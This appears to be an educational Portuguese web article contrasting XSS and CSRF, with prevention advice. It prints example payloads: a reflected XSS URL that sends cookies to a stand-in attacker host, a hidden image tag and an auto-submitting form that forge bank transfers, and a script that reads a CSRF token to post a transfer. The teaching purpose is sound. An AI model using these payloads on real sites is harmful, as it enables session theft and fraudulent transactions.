XSS vs CSRF: diferenças chave, exemplos e como prevenir ambos

📊 Comparação rápida: XSS vs CSRF

Antes de mergulhar nos detalhes, aqui está uma comparação lado a lado dos ataques XSS e CSRF:

🔴 O que é XSS (Cross-Site Scripting)?

Cross-Site Scripting ocorre quando um atacante injeta JavaScript malicioso em um site confiável. Quando uma vítima visita a página, o script executa em seu navegador com acesso total ao contexto da página, incluindo cookies, tokens de sessão e conteúdo DOM.

Três tipos de XSS

Exemplo de ataque XSS

Considere uma página de pesquisa que exibe entrada do usuário sem sanitização:

<!-- Código PHP vulnerável -->
<p>Resultados para: <?php echo $_GET['q']; ?></p>

Um atacante cria uma URL maliciosa:

https://site-alvo.example/search?q=<script>document.location='https://atacante.example/steal?c='+document.cookie</script>

🟠 O que é CSRF (Cross-Site Request Forgery)?

Cross-Site Request Forgery engana um usuário autenticado para realizar ações indesejadas em um site onde está logado. O atacante aproveita o fato de que navegadores automaticamente incluem cookies com cada requisição para um domínio, independentemente de onde a requisição se origina.

Como CSRF funciona

Exemplos de ataque CSRF

Método 1: Usando uma tag de imagem (para requisições GET):

<!-- No site do atacante -->
<img src="https://acme-banco.example/transfer?to=atacante&amount=1000" style="display:none">

Método 2: Formulário auto-submetido (para requisições POST):

<!-- Formulário oculto que se submete automaticamente -->
<form action="https://acme-banco.example/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="atacante">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>

🔍 Diferenças chave explicadas

Entender as diferenças fundamentais entre XSS e CSRF ajuda você a identificar e prevenir cada vulnerabilidade efetivamente.

⚠️ XSS pode levar a CSRF?

Sim, e é por isso que XSS é frequentemente considerado mais perigoso. Se um atacante tem XSS em um site, ele pode contornar completamente as proteções CSRF.

Aqui está como XSS contorna proteção CSRF:

// Payload XSS que derrota tokens CSRF
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/transfer', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'to=atacante&amount=1000&csrf_token=' + token
});

🛡️ Métodos de prevenção

XSS e CSRF requerem estratégias de defesa diferentes. Implementar tokens CSRF não vai prevenir XSS, e codificação de saída não vai parar CSRF.

🔴 Prevenindo XSS

• 🔒 Codificação de saída - Escape toda entrada de usuário antes de renderizar. Use codificação apropriada ao contexto (entidades HTML, escape JavaScript, codificação URL).
• 🛡️ Content Security Policy (CSP) - Restrinja quais scripts podem executar. Bloqueie scripts inline e limite fontes a domínios confiáveis.
• 🍪 Cookies HTTPOnly - Impeça JavaScript de acessar cookies de sessão. Limita danos mesmo se XSS ocorrer.
• ✅ Validação de entrada - Lista branca de caracteres permitidos quando possível. Rejeite ou sanitize padrões de entrada perigosos.

🟠 Prevenindo CSRF

• 🎫 Tokens CSRF - Inclua tokens imprevisíveis em formulários e verifique no lado do servidor. Atacantes não podem adivinhar ou acessar o token.
• 🍪 Cookies SameSite - Defina SameSite=Strict ou Lax. Impede que cookies sejam enviados com requisições cross-origin.
• 🔍 Verificar cabeçalhos Origin/Referer - Verifique se requisições se originam do seu domínio. Rejeite origens inesperadas.
• 🔐 Reautenticação - Exija confirmação de senha para operações críticas como transferências de fundos.

💥 Impacto do mundo real

Ambas as vulnerabilidades causaram danos significativos em sistemas de produção:

Esses exemplos demonstram por que ambas as vulnerabilidades aparecem consistentemente no OWASP Top 10 e requerem medidas de segurança dedicadas.

🧪 Testando XSS e CSRF

Saber identificar essas vulnerabilidades é tão importante quanto entendê-las.

🎯 Pratique com labs dedicados

Combine prática prática com o curso Cross-Site Scripting e curso CSRF para entender a teoria, ferramentas e estratégias de defesa por trás de cada técnica.

❓ Perguntas frequentes